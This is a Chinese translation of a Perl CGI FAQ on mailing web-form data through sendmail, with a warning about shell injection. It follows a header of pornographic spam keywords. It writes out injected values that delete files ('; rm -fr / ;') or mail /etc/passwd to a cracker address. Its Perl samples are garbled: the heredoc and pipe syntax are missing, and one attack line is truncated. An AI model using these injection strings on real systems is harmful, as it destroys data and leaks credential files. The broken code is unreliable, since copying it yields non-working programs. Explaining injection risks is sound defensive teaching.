欧美久久天天综合香蕉伊,h片在线免费观看,九九欧美,欧美1区2区3区,日本在线不卡一区,国产视频久久久,91久久久久久久

2023信創(chuàng)獨角獸企業(yè)100強
全世界各行各業(yè)聯(lián)合起來,internet一定要實現(xiàn)!

Per CGI 程式設(shè)計疑難雜癥

2004-02-12 eNet&Ciweek

  
  其實做這個很容易。您的 CGI script 必須能做到這兩件事:   

  將 form 中的資料整理出來。別忘了,所有的 form 資料都會被 URL-編碼起來 (先不考慮 Netscape 2.0 【及 2.0 以上所支援】的 multipart MIME資料)。

  開一個管路 (pipe) 到 mail (或 sendmail ),然後把 form 資料寫過去。

  我們就假設(shè)您用的是 CGI::* 模組。您可用以下的方法去叫 sendmail:   

  $cgi_form = new CGI::Form;   

  $from = $cgi_form->param('from');

  $name = $cgi_form->param('name');

  $to = $cgi_form->param('to');

  $subject = $cgi_form->param('subject');

  $message = $cgi_form->param('message');

  

  open SENDMAIL, "  /usr/bin/sendmail -t -n";

  print SENDMAIL <

  From: $from <$name>

  To: $to

  Reply-To: $from

  Subject: $subject

  

  $message

  End_of_Mail   

  有一個該注意的地方是 ``Reply-To:'' 的信頭。由於 server 是以 ``nobody''這 個使用者的身份來跑,信頭的地方可能會被搞壞(尤其是當(dāng)有人想回這封信的時後)。 加上 ``Reply-To'' 的信頭這個問題便解決了。   

  網(wǎng)路上有許多的 mail 渠道 (gateway)* 是以底下這種方法來送 mail:   

  【譯者】gateway 在此指送 email 的 CGI 程式   

  open MAIL, "  mail -s 'Subject' $to"; +-- 可能會出問題的漏洞?。?!   

  如果您沒有先檢查看 $to 這個變數(shù)有沒有內(nèi)含 shell 的特殊符號 (metacharacters),您是在自討苦吃!譬如,如果哪個惡劣的 user 輸入了以下的資 料:

  ; rm -fr / ;

  那麼您的麻煩可大了*。   

  【譯者】這里頭的 ``;'' 便是一個危險的 shell metacharacter。另一個危險的符號是 ``&''。

  在這個假想的情況中,有多少個檔案會被遠方的 user 給殺掉,還得視 server 跑的使用者的權(quán)限而定(這就是為什麼 server 要以低權(quán)限使用者身份跑的原因)。 至少那些由 CGI 程式制造出來,但又沒有備份的檔案,是真的要跟它們永別了。

  ; mail joe@crackerland.org

  那您的 CGI script 就替您把 /etc/passwd 給拱手送上了。這對一個「未加工」的 Linux、SunOS 4.1,還有其他任何沒安裝 shadow-password 的 UNIX 系統(tǒng)來說, 實在不太好玩。如果 server 錯誤地跑了 root,那麼就算裝了 shadow-password 也沒有用,因為遠方的 cracker 甚至可以讓這個 CGI 的 email script 給他送 /etc/shadow (視系統(tǒng)而定,不一定在 /etc 底下或叫這個名字)。

相關(guān)頻道: eNews

您對本文或本站有任何意見,請在下方提交,謝謝!

投稿信箱:tougao@enet16.com